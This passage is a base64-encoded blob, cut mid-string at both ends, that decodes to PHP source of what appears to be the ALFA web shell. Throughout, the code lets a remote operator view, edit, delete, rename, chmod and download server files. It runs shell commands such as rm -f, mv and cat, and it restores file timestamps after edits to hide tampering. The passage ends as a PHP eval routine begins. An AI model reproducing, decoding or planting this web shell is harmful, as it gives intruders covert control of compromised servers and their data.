lJ10pfHxlbXB0eSgkZ2lkWyduYW1lJ10pKXsKaWYoX2FsZmFfY2FuX3J1bkNvbW1hbmQoKSl7Cmxpc3QoJHVpZFsnbmFtZSddLCRnaWRbJ25hbWUnXSkgPSBleHBsb2RlKCI6IiwgYWxmYUV4KCdzdGF0IC1jICIlVTolRyIgIicuYWRkc2xhc2hlcygkX1BPU1RbImMiXS4iLyIuJF9QT1NUWyJhbGZhMSJdKS4nIicpKTsKfQp9Cn0KaWYoc3Vic3RyKCRfUE9TVFsnYWxmYTEnXSwgMCwgNykgPT0gInBoYXI6Ly8iKXsKJGFsZmFfZmlsZV9kaXJlY3RvcnkgPSAkX1BPU1RbJ2FsZmExJ107Cn1lbHNlewokYWxmYV9maWxlX2RpcmVjdG9yeSA9IHN0cl9yZXBsYWNlKCIvLyIsICIvIiwoJGNoZGlyX2ZhbHM/IiI6JF9QT1NUWydjJ10uJy8nKS4kX1BPU1RbJ2FsZmExJ10pOwp9CmVjaG8gJzxkaXYgc3R5bGU9Im92ZXJmbG93OiBoaWRkZW47d2hpdGUtc3BhY2U6IG5vd3JhcDt0ZXh0LW92ZXJmbG93OiBlbGxpcHNpczsiPjxzcGFuIGNsYXNzPSJlZGl0b3JfZmlsZV9pbmZvX3ZhcnMiPk5hbWU6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoYmFzZW5hbWUoJGFsZmExX2RlY29kZWQpKS4nIDxzcGFuIGNsYXNzPSJlZGl0b3JfZmlsZV9pbmZvX3ZhcnMiPlNpemU6PC9zcGFuPiAnLmFsZmFTaXplKCRmaWxlc2l6ZSkuJyA8c3BhbiBjbGFzcz0iZWRpdG9yX2ZpbGVfaW5mb192YXJzIj5QZXJtaXNzaW9uOjwvc3Bhbj4gJy4kcGVybWNvbG9yLicgPHNwYW4gY2xhc3M9ImVkaXRvcl9maWxlX2luZm9fdmFycyI+T3duZXIvR3JvdXA6PC9zcGFuPiAnLiR1aWRbJ25hbWUnXS4nLycuJGdpZFsnbmFtZSddLicgPHNwYW4gY2xhc3M9ImVkaXRvcl9maWxlX2luZm9fdmFycyI+RGlyZWN0b3J5Ojwvc3Bhbj4gJy5kaXJuYW1lKCRhbGZhX2ZpbGVfZGlyZWN0b3J5KS4nPC9kaXY+JzsKaWYoZW1wdHkoJF9QT1NUWydhbGZhMiddKSkkX1BPU1RbJ2FsZmEyJ10gPSAndmlldyc7CmlmKCFfYWxmYV9pc19kaXIoJF9QT1NUWydhbGZhMSddKSl7CiRtID0gYXJyYXkoJ1ZpZXcnLCAnRG93bmxvYWQnLCAnSGlnaGxpZ2h0JywgJ0NobW9kJywgJ1JlbmFtZScsICdUb3VjaCcsICdEZWxldGUnLCAnSW1hZ2UnLCAnSGV4ZHVtcCcpOwokZnR5cGUgPSAiZmlsZSI7Cn1lbHNlewokbSA9IGFycmF5KCdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsKJGZ0eXBlID0gImRpciI7Cn0KZWNobygnPGRpdj4nKTsKZm9yZWFjaCgkbSBhcyAkdikKZWNobyAkdiA9PSAnRGVsZXRlJyA/ICc8YSBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmNsaWNrPSJ2YXIgY2hrPWNvbmZpcm0oXCdBcmUgWW91IFN1cmUgRm9yIERlbGV0ZSBUaGlzIEZpbGUgP1wnKTtjaGs/ZWRpdG9yKFwnJy5hZGRzbGFzaGVzKCFpc3NldCgkcmVuYW1lX2NhY2hlKT8kX1BPU1RbJ2FsZmExJ106JHJlbmFtZV9jYWNoZSkuJ1wnLFwnJy5zdHJ0b2xvd2VyKCR2KS4nXCcsXCdcJyxcJycuJF9QT1NUWydjJ10uJ1wnLFwnJy4kX1BPU1RbJ2FsZmE0J10uJ1wnLFwnJy4kZnR5cGUuJ1wnKTpcJ1wnOyI+PHNwYW4gY2xhc3M9ImVkaXRvcl9hY3Rpb25zIj4nLigoc3RydG9sb3dlcigkdik9PUAkX1BPU1RbJ2FsZmEyJ10pPyc8Yj48c3BhbiBjbGFzcz0iZWRpdG9yX2FjdGlvbnMiPiAnLiR2LicgPC9zcGFuPiA8L2I+JzokdikuJyB8IDwvc3Bhbj48L2E+ICcgOiAnPGEgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZWRpdG9yKFwnJy5hZGRzbGFzaGVzKCFpc3NldCgkcmVuYW1lX2NhY2hlKT8kX1BPU1RbJ2FsZmExJ106JHJlbmFtZV9jYWNoZSkuJ1wnLFwnJy5zdHJ0b2xvd2VyKCR2KS4nXCcsXCdcJyxcJycuJF9QT1NUWydjJ10uJ1wnLFwnJy4kX1BPU1RbJ2FsZmE0J10uJ1wnLFwnJy4kZnR5cGUuJ1wnKSI+PHNwYW4gY2xhc3M9ImVkaXRvcl9hY3Rpb25zIj4nLigoc3RydG9sb3dlcigkdik9PUAkX1BPU1RbJ2FsZmEyJ10pPyc8Yj48c3BhbiBjbGFzcz0iZWRpdG9yX2FjdGlvbnMiPiAnLiR2LicgPC9zcGFuPiA8L2I+JzokdikuJyB8IDwvc3Bhbj48L2E+JzsKZWNobyAnPC9kaXY+JzsKc3dpdGNoKCRfUE9TVFsnYWxmYTInXSl7CmNhc2UgJ3ZpZXcnOmNhc2UgJ2VkaXQnOgpAY2hkaXIoJF9QT1NUWydjJ10pOwokZGlzYWJsZWRfYnRuID0gIiI7CmlmKCFAaXNfd3JpdGFibGUoJF9QT1NUWydhbGZhMSddKSYmIV9hbGZhX2lzX3dyaXRhYmxlKCRfUE9TVFsnYWxmYTEnXSkpewokZGlzYWJsZWRfYnRuID0gImRpc2FibGVkPWRpc2FibGVkIjsKJGRpc2FibGVkX2J0bl9zdHlsZT0gJ2JhY2tncm91bmQ6ICNmZjAwMDA7Y29sb3I6ICNmZmY7JzsKfQppZighZW1wdHkoJF9QT1NUWydhbGZhMyddKSl7CiRfUE9TVFsnYWxmYTMnXSA9IHN1YnN0cigkX1BPU1RbJ2FsZmEzJ10sMSk7CiR0aW1lID0gQGZpbGVtdGltZSgkX1BPU1RbJ2FsZmExJ10pOwokZnAgPSBAX193cml0ZV9maWxlKCRfUE9TVFsnYWxmYTEnXSwkX1BPU1RbJ2FsZmEzJ10pOwppZigkY2hkaXJfZmFscyYmJGFsZmFfY2FucnVuY21kKXsKJHJuYW1lID0gJGFsZmExX2RlY29kZWQ7CiRyYW5kbmFtZSA9ICRybmFtZS5yYW5kKDExMSw5OTk5KTsKJGZpbGVwYXRoID0gZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pLiIvIi4kcmFuZG5hbWU7CmlmKCRmcCA9IEBfX3dyaXRlX2ZpbGUoJGZpbGVwYXRoICwkX1BPU1RbJ2FsZmEzJ10pKXsKYWxmYUV4KCJtdiAnIi5hZGRzbGFzaGVzKCRmaWxlcGF0aCkuIicgJyIuYWRkc2xhc2hlcygkX1BPU1RbImFsZmExIl0pLiInO3JtIC1mICciLmFkZHNsYXNoZXMoJGZpbGVwYXRoKS4iJyIpOwp9Cn0KaWYoJGZwKXsKZWNobyAnU2F2ZWQhPGJyPic7CkB0b3VjaCgkX1BPU1RbJ2FsZmExJ10sJHRpbWUsJHRpbWUpOwp9Cn0KZWNobyAnPGRpdiBjbGFzcz0iZWRpdG9yLXZpZXciPjxkaXYgY2xhc3M9InZpZXctY29udGVudCBlZGl0b3ItYWNlLWNvbnRyb2xsZXIiPjxkaXYgc3R5bGU9ImRpc3BsYXk6aW5saW5lLWJsb2NrOyI+Jy5fYWxmYV9sb2FkX2FjZV9vcHRpb25zKCJlZGl0b3IiKS4nPGJ1dHRvbiBzdHlsZT0iYm9yZGVyLXJhZGl1czoxMHB4OyIgY2xhc3M9ImJ1dHRvbiBhY2UtY29udHJvbGVyIiBvbkNsaWNrPSJjb3B5VG9DbGlwYm9hcmQodGhpcyk7Ij5Db3B5PC9idXR0b24+IDxidXR0b24gY2xhc3M9ImJ1dHRvbiBhY2UtY29udHJvbGVyIiBvbmNsaWNrPSJhbGZhQWNlVG9GdWxsc2NyZWVuKHRoaXMpOyI+RnVsbCBTY3JlZW48L2J1dHRvbj4gPGJ1dHRvbiBvbmNsaWNrPSJ2YXIgYWNlX3ZhbCA9IGFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yW3RoaXMuZ2V0QXR0cmlidXRlKFwnYWNlX2lkXCcpXS5nZXRWYWx1ZSgpO2VkaXRvcihcJycuYWRkc2xhc2hlcygkYWxmYTFfZGVjb2RlZCkuJ1wnLFwnZWRpdFwnLFwnMVwnK2FjZV92YWwsXCcnLiRfUE9TVFsnYyddLidcJyxcJycuJF9QT1NUWydhbGZhNCddLidcJyxcJycuJGZ0eXBlLidcJyk7cmV0dXJuIGZhbHNlOyIgY2xhc3M9ImJ1dHRvbiBhY2UtY29udHJvbGVyIGFjZS1zYXZlLWJ0biIgc3R5bGU9IndpZHRoOiAxMDBweDtoZWlnaHQ6IDMzcHg7Jy4kZGlzYWJsZWRfYnRuX3N0eWxlLiciICcuJGRpc2FibGVkX2J0bi4nPnNhdmU8L2J1dHRvbj48L2Rpdj48cHJlIGNsYXNzPSJtbDEgdmlld19tbF9jb250ZW50Ij4nOwplY2hvIGh0bWxzcGVjaWFsY2hhcnMoX19yZWFkX2ZpbGUoJF9QT1NUWydhbGZhMSddKSk7CmVjaG8gJzwvcHJlPjwvZGl2PjwvZGl2Pic7CmJyZWFrOwpjYXNlICdoaWdobGlnaHQnOgpAY2hkaXIoJF9QT1NUWydjJ10pOwppZihAaXNfcmVhZGFibGUoJF9QT1NUWydhbGZhMSddKSl7CmVjaG8gJzxkaXYgY2xhc3M9ImVkaXRvci12aWV3Ij48ZGl2IGNsYXNzPSJ2aWV3LWNvbnRlbnQiPjxkaXYgY2xhc3M9Im1sMSIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNlMWUxZTE7Y29sb3I6YmxhY2s7Ij4nOwokY29kZSA9IEBoaWdobGlnaHRfZmlsZSgkX1BPU1RbJ2FsZmExJ10sdHJ1ZSk7CmVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoJzxzcGFuICcsJzwvc3Bhbj4nKSwgYXJyYXkoJzxmb250ICcsJzwvZm9udD4nKSwkY29kZSkuJzwvZGl2PjwvZGl2PjwvZGl2Pic7Cn0KYnJlYWs7CmNhc2UgJ2RlbGV0ZSc6CkBjaGRpcigkX1BPU1RbJ2MnXSk7CmlmKEBpc193cml0YWJsZSgkX1BPU1RbJ2FsZmExJ10pfHwkR0xPQkFMU1siZ2xvYl9jaGRpcl9mYWxzZSJdKXsKJGRlbGV0ZWQgPSB0cnVlOwppZighQHVubGluaygkX1BPU1RbJ2FsZmExJ10pKXsKJGRlbGV0ZWQgPSBmYWxzZTsKaWYoJGFsZmFfY2FucnVuY21kKXsKaWYoX2FsZmFfaXNfd3JpdGFibGUoJF9QT1NUWydhbGZhMSddKSl7CmFsZmFFeCgicm0gLWYgJyIuYWRkc2xhc2hlcygkX1BPU1RbJ2FsZmExJ10pLiInIik7CiRkZWxldGVkID0gdHJ1ZTsKfQp9Cn0KaWYoJGRlbGV0ZWQpZWNobyAnRmlsZSBEZWxldGVkLi4uPHNjcmlwdD52YXIgZWxlbSA9ICQoIicuJF9QT1NUWydhbGZhNCddLiciKS5wYXJlbnROb2RlO2VsZW0ucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChlbGVtKTtkZWxldGUgZWRpdG9yX2ZpbGVzWyInLiRfUE9TVFsnYWxmYTQnXS4nIl07PC9zY3JpcHQ+JztlbHNlIGVjaG8gJ0Vycm9yLi4uJzt9CmJyZWFrOwpjYXNlICdjaG1vZCc6CkBjaGRpcigkX1BPU1RbJ2MnXSk7CmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmEzJ10pKXsKJHBlcm1zID0gMDsKZm9yKCRpPXN0cmxlbigkX1BPU1RbJ2FsZmEzJ10pLTE7JGk+PTA7LS0kaSkKJHBlcm1zICs9IChpbnQpJF9QT1NUWydhbGZhMyddWyRpXSpwb3coOCwgKHN0cmxlbigkX1BPU1RbJ2FsZmEzJ10pLSRpLTEpKTsKaWYoIUBjaG1vZCgkX1BPU1RbJ2FsZmExJ10sICRwZXJtcykpewppZigkY2hkaXJfZmFscyYmJGFsZmFfY2FucnVuY21kKXsKYWxmYUV4KCJjZCAnIi5hZGRzbGFzaGVzKCRfUE9TVFsiYyJdKS4iJztjaG1vZCAiLmFkZHNsYXNoZXMoJF9QT1NUWydhbGZhMyddKS4iICciLmFkZHNsYXNoZXMoJGFsZmExX2RlY29kZWQpLiInIik7CmVjaG8oJ1N1Y2Nlc3MhJyk7Cn1lbHNlewplY2hvICc8Zm9udCBjb2xvcj0iI0ZGRkZGRiI+PGI+Q2FuXCd0IHNldCBwZXJtaXNzaW9ucyE8L2I+PC9mb250Pjxicj48c2NyaXB0PmRvY3VtZW50Lm1mLmFsZmEzLnZhbHVlPSIiOzwvc2NyaXB0Pic7fQp9ZWxzZXtlY2hvKCdTdWNjZXNzIScpO30KfQpjbGVhcnN0YXRjYWNoZSgpOwpBbGZhTnVtKDgsOSwxMCw3LDYsNSw0LDIsMSk7CmlmKCRjaGRpcl9mYWxzKXsKJGZpbGVfcGVybSA9ICRmaWxlX2luZm9bNV07Cn1lbHNlewokZmlsZV9wZXJtID0gc3Vic3RyKHNwcmludGYoJyVvJywgQGZpbGVwZXJtcygkX1BPU1RbJ2FsZmExJ10pKSwtNCk7Cn0KZWNobyAnPHNjcmlwdD5hbGZhM189IiI7PC9zY3JpcHQ+PGZvcm0gb25zdWJtaXQ9ImVkaXRvcihcJycuYWRkc2xhc2hlcygkX1BPU1RbJ2FsZmExJ10pLidcJyxcJycuJF9QT1NUWydhbGZhMiddLidcJyx0aGlzLmNobW9kLnZhbHVlLFwnJy4kX1BPU1RbJ2MnXS4nXCcsXCcnLiRfUE9TVFsnYWxmYTQnXS4nXCcsXCcnLiRmdHlwZS4nXCcpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjaG1vZCIgdmFsdWU9IicuJGZpbGVfcGVybS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IiAiPjwvZm9ybT4nOwpicmVhazsKY2FzZSAnaGV4ZHVtcCc6CkBjaGRpcigkX1BPU1RbJ2MnXSk7CiRjID0gX19yZWFkX2ZpbGUoJF9QT1NUWydhbGZhMSddKTsKJG4gPSAwOwokaCA9IGFycmF5KCcwMDAwMDAwMDxicj4nLCcnLCcnKTsKJGxlbiA9IHN0cmxlbigkYyk7CmZvciAoJGk9MDsgJGk8JGxlbjsgKyskaSkgewokaFsxXSAuPSBzcHJpbnRmKCclMDJYJyxvcmQoJGNbJGldKSkuJyAnOwpzd2l0Y2ggKCBvcmQoJGNbJGldKSApIHsKY2FzZSAwOiAkaFsyXSAuPSAnICc7IGJyZWFrOwpjYXNlIDk6ICRoWzJdIC49ICcgJzsgYnJlYWs7CmNhc2UgMTA6ICRoWzJdIC49ICcgJzsgYnJlYWs7CmNhc2UgMTM6ICRoWzJdIC49ICcgJzsgYnJlYWs7CmRlZmF1bHQ6ICRoWzJdIC49ICRjWyRpXTsgYnJlYWs7Cn0KJG4rKzsKaWYgKCRuID09IDMyKSB7CiRuID0gMDsKaWYgKCRpKzEgPCAkbGVuKSB7JGhbMF0gLj0gc3ByaW50ZignJTA4WCcsJGkrMSkuJzxicj4nO30kaFsxXSAuPSAnPGJyPic7CiRoWzJdIC49ICJcbiI7Cn0KfQplY2hvICc8ZGl2IGNsYXNzPSJlZGl0b3ItdmlldyI+PGRpdiBjbGFzcz0idmlldy1jb250ZW50Ij48dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01IGJnY29sb3I9YmxhY2s+PHRyPjx0ZCBiZ2NvbG9yPWdyYXk+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OiBub3JtYWw7Ij48cHJlPicuJGhbMF0uJzwvcHJlPjwvc3Bhbj48L3RkPjx0ZCBiZ2NvbG9yPSMyODI4Mjg+PHByZT4nLiRoWzFdLic8L3ByZT48L3RkPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoJGhbMl0pLic8L3ByZT48L3RkPjwvdHI+PC90YWJsZT48L2Rpdj48L2Rpdj4nOwpicmVhazsKY2FzZSAncmVuYW1lJzoKQGNoZGlyKCRfUE9TVFsnYyddKTsKJGFsZmExX2VzY2FwZSA9IGFkZHNsYXNoZXMoJF9QT1NUWyJhbGZhMSJdKTsKJGFsZmEzX2VzY2FwZSA9IGFkZHNsYXNoZXMoJF9QT1NUWyJhbGZhMyJdKTsKaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTMnXSkpewokY21kX3JlbmFtZSA9IGZhbHNlOwppZigkY2hkaXJfZmFscyYmJGFsZmFfY2FucnVuY21kKXsKaWYoX2FsZmFfaXNfd3JpdGFibGUoJF9QT1NUWydhbGZhMSddKSl7CiRhbGZhMV9lc2NhcGUgPSBhZGRzbGFzaGVzKCRhbGZhMV9kZWNvZGVkKTsKYWxmYUV4KCJjZCAnIi5hZGRzbGFzaGVzKCRfUE9TVFsnYyddKS4iJzttdiAnIi4kYWxmYTFfZXNjYXBlLiInICciLmFkZHNsYXNoZXMoJF9QT1NUWydhbGZhMyddKS4iJyIpOwp9ZWxzZXsKJGNtZF9yZW5hbWUgPSB0cnVlOwp9Cn1lbHNlewokYWxmYTFfZXNjYXBlID0gYWRkc2xhc2hlcygkX1BPU1RbImFsZmExIl0pOwp9CmlmKCFAcmVuYW1lKCRfUE9TVFsnYWxmYTEnXSwgJF9QT1NUWydhbGZhMyddKSYmJGNtZF9yZW5hbWUpewplY2hvICdDYW5cJ3QgcmVuYW1lITxicj4nO31lbHNle2VjaG8oJ1JlbmFtZWQhPHNjcmlwdD50cnl7JCgiJy4kX1BPU1RbJ2FsZmE0J10uJyIpLmlubmVySFRNTCA9ICI8ZGl2IGNsYXNzPVwnZWRpdG9yLWljb25cJz4iK2xvYWRUeXBlKFwnJy4kYWxmYTNfZXNjYXBlLidcJyxcJycuJGZ0eXBlLidcJyxcJycuJF9QT1NUWydhbGZhNCddLidcJykrIjwvZGl2PjxkaXYgY2xhc3M9XCdlZGl0b3ItZmlsZS1uYW1lXCc+Jy4kYWxmYTNfZXNjYXBlLic8L2Rpdj4iO2VkaXRvcl9maWxlc1siJy4kX1BPU1RbJ2FsZmE0J10uJyJdLmZpbGUgPSAiJy4kYWxmYTNfZXNjYXBlLiciO3VwZGF0ZUZpbGVFZGl0b3IoIicuJGFsZmExX2VzY2FwZS4nIiwgIicuJGFsZmEzX2VzY2FwZS4nIik7Jy4oJGZ0eXBlID09ICJkaXIiPyJ1cGRhdGVEaXJzRWRpdG9yKCciLiRfUE9TVFsnYWxmYTQnXS4iJywnIi4kYWxmYTFfZXNjYXBlLiInKTsiOiIiKS4nfWNhdGNoKGUpe2NvbnNvbGUubG9nKGUpfTwvc2NyaXB0PicpOyRhbGZhMV9lc2NhcGUgPSAkYWxmYTNfZXNjYXBlO30KfQplY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZWRpdG9yKFwnJy4kYWxmYTFfZXNjYXBlLidcJyxcJycuJF9QT1NUWydhbGZhMiddLidcJyx0aGlzLm5hbWUudmFsdWUsXCcnLiRfUE9TVFsnYyddLidcJyxcJycuJF9QT1NUWydhbGZhNCddLidcJyxcJycuJGZ0eXBlLidcJyk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5hbWUiIHZhbHVlPSInLmFkZHNsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhpc3NldCgkX1BPU1RbJ2FsZmEzJ10pJiYkX1BPU1RbJ2FsZmEzJ10hPScnPyRfUE9TVFsnYWxmYTMnXTokYWxmYTFfZGVjb2RlZCkpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iICI+PC9mb3JtPic7CmJyZWFrOwpjYXNlICd0b3VjaCc6CkBjaGRpcigkX1BPU1RbJ2MnXSk7CmlmKCAhZW1wdHkoJF9QT1NUWydhbGZhMyddKSApIHsKJHRpbWUgPSBzdHJ0b3RpbWUoJF9QT1NUWydhbGZhMyddKTsKaWYoJHRpbWUpewokdG91Y2hlZCA9IGZhbHNlOwppZigkY2hkaXJfZmFscyYmJGFsZmFfY2FucnVuY21kKXsKYWxmYUV4KCJjZCAnIi5hZGRzbGFzaGVzKCRfUE9TVFsiYyJdKS4iJzt0b3VjaCAtZCAnIi5odG1sc3BlY2lhbGNoYXJzKGFkZHNsYXNoZXMoJF9QT1NUWydhbGZhMyddKSkuIicgJyIuYWRkc2xhc2hlcygkYWxmYTFfZGVjb2RlZCkuIiciKTsKJHRvdWNoZWQgPSB0cnVlOwp9CmlmKCFAdG91Y2goJF9QT1NUWydhbGZhMSddLCR0aW1lLCR0aW1lKSYmISR0b3VjaGVkKQplY2hvICdGYWlsISc7CmVsc2UKZWNobyAnVG91Y2hlZCEnOwp9IGVsc2UgZWNobyAnQmFkIHRpbWUgZm9ybWF0ISc7Cn0KY2xlYXJzdGF0Y2FjaGUoKTsKZWNobyAnPHNjcmlwdD5hbGZhM189IiI7PC9zY3JpcHQ+PGZvcm0gb25zdWJtaXQ9ImVkaXRvcihcJycuYWRkc2xhc2hlcygkX1BPU1RbJ2FsZmExJ10pLidcJyxcJycuJF9QT1NUWydhbGZhMiddLidcJyx0aGlzLnRvdWNoLnZhbHVlLFwnJy4kX1BPU1RbJ2MnXS4nXCcsXCcnLiRfUE9TVFsnYWxmYTQnXS4nXCcsXCcnLiRmdHlwZS4nXCcpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT10b3VjaCB2YWx1ZT0iJy5kYXRlKCJZLW0tZCBIOmk6cyIsICgkY2hkaXJfZmFscz8kZmlsZV9pbmZvWzRdOkBmaWxlbXRpbWUoJF9QT1NUWydhbGZhMSddKSkpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iICI+PC9mb3JtPic7CmJyZWFrOwpjYXNlICdpbWFnZSc6CkBjaGRpcigkX1BPU1RbJ2MnXSk7CmVjaG8oJzxocj4nKTsKJGZpbGUgPSAkX1BPU1RbJ2FsZmExJ107CiRpbWFnZV9pbmZvID0gQGdldGltYWdlc2l6ZSgkZmlsZSk7CmlmKGlzX2FycmF5KCRpbWFnZV9pbmZvKXx8JGNoZGlyX2ZhbHMpewokd2lkdGggPSAoaW50KSRpbWFnZV9pbmZvWzBdOwokaGVpZ2h0ID0gKGludCkkaW1hZ2VfaW5mb1sxXTsKaWYoJGNoZGlyX2ZhbHMmJiRhbGZhX2NhbnJ1bmNtZCl7CiRzb3VyY2UgPSBhbGZhRXgoImNhdCAnIi5hZGRzbGFzaGVzKCRmaWxlKS4iJyB8IGJhc2U2NCIpOwpsaXN0KCR3aWR0aCwgJGhlaWdodCkgPSBleHBsb2RlKCI6IiwgYWxmYUV4KCJpZGVudGlmeSAtZm9ybWF0ICcldzolaCcgJyIuYWRkc2xhc2hlcygkZmlsZSkuIiciKSk7CiRtaW1lID0gZXhwbG9kZSgiOiIsIGFsZmFFeCgiZmlsZSAtLW1pbWUtdHlwZSAnIi5hZGRzbGFzaGVzKCRmaWxlKS4iJyIpKTsKJGltYWdlX2luZm9bJ21pbWUnXSA9ICRtaW1lWzFdOwp9ZWxzZXsKJHNvdXJjZSA9IF9fWlc1amIyUmxjZyhfX3JlYWRfZmlsZSgkZmlsZSwgZmFsc2UpKTsKfQokaW1hZ2VfaW5mb19oID0gIkltYWdlIHR5cGUgPSA8c3Bhbj5bPC9zcGFuPiAiLiRpbWFnZV9pbmZvWydtaW1lJ10uIiA8c3Bhbj5dPC9zcGFuPjxicj5JbWFnZSBTaXplID0gPHNwYW4+WyA8L3NwYW4+Ii4kd2lkdGguIiB4ICIuJGhlaWdodC4iPHNwYW4+IF08L3NwYW4+PGJyPiI7CmlmKCR3aWR0aCA+IDgwMCl7JHdpZHRoID0gODAwO30KZWNobyAkY29udGVudCA9ICI8ZGl2IGNsYXNzPSdlZGl0b3Itdmlldyc+PGRpdiBjbGFzcz0ndmlldy1jb250ZW50Jz48Y2VudGVyPiIuJGltYWdlX2luZm9faC4iPGJyPjxpbWcgaWQ9J3ZpZXdJbWFnZScgc3R5bGU9J21heC13aWR0aDoxMDAlO2JvcmRlcjoxcHggc29saWQgZ3JlZW47JyBzcmM9J2RhdGE6Ii4kaW1hZ2VfaW5mb1snbWltZSddLiI7YmFzZTY0LCIuJHNvdXJjZS4iJyBhbHQ9JyIuJGZpbGUuIic+PC9jZW50ZXI+PC9kaXY+PC9kaXY+PGJyPiI7Cn0KYnJlYWs7Cn0KZWNobyAnPC9kaXY+JzsKYWxmYUZvb3RlcigpOwp9CmZ1bmN0aW9uIGZpbmRpY29uKCRmaWxlLCR0eXBlKXsKJHMgPSAnaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy8nOwokdHlwZXMgPSBhcnJheSgnanNvbicsJ3BwdCcsJ3BwdHgnLCd4bHMnLCd4bHN4JywnbXNpJywnY29uZmlnJywnY2dpJywncG0nLCdjJywnY3BwJywnY3MnLCdqYXZhJywnYXNweCcsJ2FzcCcsJ2RiJywndHRmJywnZW90Jywnd29mZicsJ3dvZmYyJywnd29mZicsJ2NvbmYnLCdsb2cnLCdhcGsnLCdjYWInLCdiejInLCd0Z3onLCdkbWcnLCdpem8nLCdqYXInLCc3eicsJ2lzbycsJ3JhcicsJ2JhdCcsJ3NoJywnYWxmYScsJ2d6JywndGFyJywncGhwJywncGhwNCcsJ3BocDUnLCdwaHRtbCcsJ2h0bWwnLCd4aHRtbCcsJ3NodG1sJywnaHRtJywnemlwJywncG5nJywnanBnJywnanBlZycsJ2dpZicsJ2JtcCcsJ2ljbycsJ3R4dCcsJ2pzJywncmInLCdweScsJ3htbCcsJ2NzcycsJ3NxbCcsJ2h0YWNjZXNzJywncGwnLCdpbmknLCdkbGwnLCdleGUnLCdtcDMnLCdtcDQnLCdtNGEnLCdtb3YnLCdmbHYnLCdzd2YnLCdta3YnLCdhdmknLCd3bXYnLCdtcGcnLCdtcGVnJywnZGF0JywncGRmJywnM2dwJywnZG9jJywnZG9jeCcsJ2RvY20nKTsKaWYoJHR5cGUhPSdmaWxlJyl7CnJldHVybiAoJGZpbGU9PScuLic/JHMuJ2JhY2sucG5nJzokcy4nZm9sZGVyLnBuZycpOwp9ZWxzZXsKJGV4dCA9IGV4cGxvZGUoJy4nLCRmaWxlKTsKJGV4dCA9IGVuZCgkZXh0KTsKJGV4dCA9IHN0cnRvbG93ZXIoJGV4dCk7CnJldHVybiAoaW5fYXJyYXkoJGV4dCwkdHlwZXMpPyRzLiRleHQuJy5wbmcnOiRzLidub3Rmb3VuZC5wbmcnKTsKfQp9CmZ1bmN0aW9uIGFsZmFkbGZpbGUoKXsKaWYoaXNzZXQoJF9QT1NUWydjJ10sJF9QT1NUWydmaWxlJ10pKXsKJGJhc2VuYW1lID0gcmF3dXJsZGVjb2RlKGJhc2VuYW1lKCRfUE9TVFsnZmlsZSddKSk7CiRfUE9TVFsnZmlsZSddID0gc3RyX3JlcGxhY2UoIi8vIiwgIi8iLCAkX1BPU1RbJ2MnXS4nLycuJGJhc2VuYW1lKTsKJGFsZmFfY2FucnVuY21kID0gX2FsZmFfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKTsKaWYoQGlzX2ZpbGUoJF9QT1NUWydmaWxlJ10pICYmIEBpc19yZWFkYWJsZSgkX1BPU1RbJ2ZpbGUnXSkgfHwgJGFsZmFfY2FucnVuY21kKXsKb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOwpoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIi5hZGRzbGFzaGVzKCRiYXNlbmFtZSkuIlwiIik7CmhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsKaWYoJEdMT0JBTFNbImdsb2JfY2hkaXJfZmFsc2UiXSl7CiRyYW5kbmFtZSA9ICRiYXNlbmFtZS5yYW5kKDExMSw5OTk5KTsKJHNjcmlwdHBhdGggPSBkaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7CiRmaWxlcGF0aCA9ICRzY3JpcHRwYXRoLiIvIi4kcmFuZG5hbWU7CmlmKF9hbGZhX2lzX3dyaXRhYmxlKCRzY3JpcHRwYXRoKSl7CmFsZmFFeCgiY3AgJyIuYWRkc2xhc2hlcygkX1BPU1RbImZpbGUiXSkuIicgJyIuYWRkc2xhc2hlcygkZmlsZXBhdGgpLiInIik7CnJlYWRmaWxlKCRmaWxlcGF0aCk7CkB1bmxpbmsoJGZpbGVwYXRoKTsKfWVsc2V7CmFsZmFFeCgiY2F0ICciLmFkZHNsYXNoZXMoJF9QT1NUWyJmaWxlIl0pLiInIik7Cn0KfWVsc2V7CnJlYWRmaWxlKCRfUE9TVFsnZmlsZSddKTsKfQp9ZWxzZSBlY2hvKCdFcnJvci4uLiEnKTt9fQpmdW5jdGlvbiBfX2FsZmFfc2V0X2Nvb2tpZSgka2V5LCAkdmFsdWUpewokX0NPT0tJRVska2V5XSA9ICR2YWx1ZTsKQHNldGNvb2tpZSgka2V5LCAkdmFsdWUsIHRpbWUoKSsoODY0MDAgKiA3KSwgJy8nKTsKfQpmdW5jdGlvbiBhbGZhcGhwZXZhbCgpewppZihpc3NldCgkX0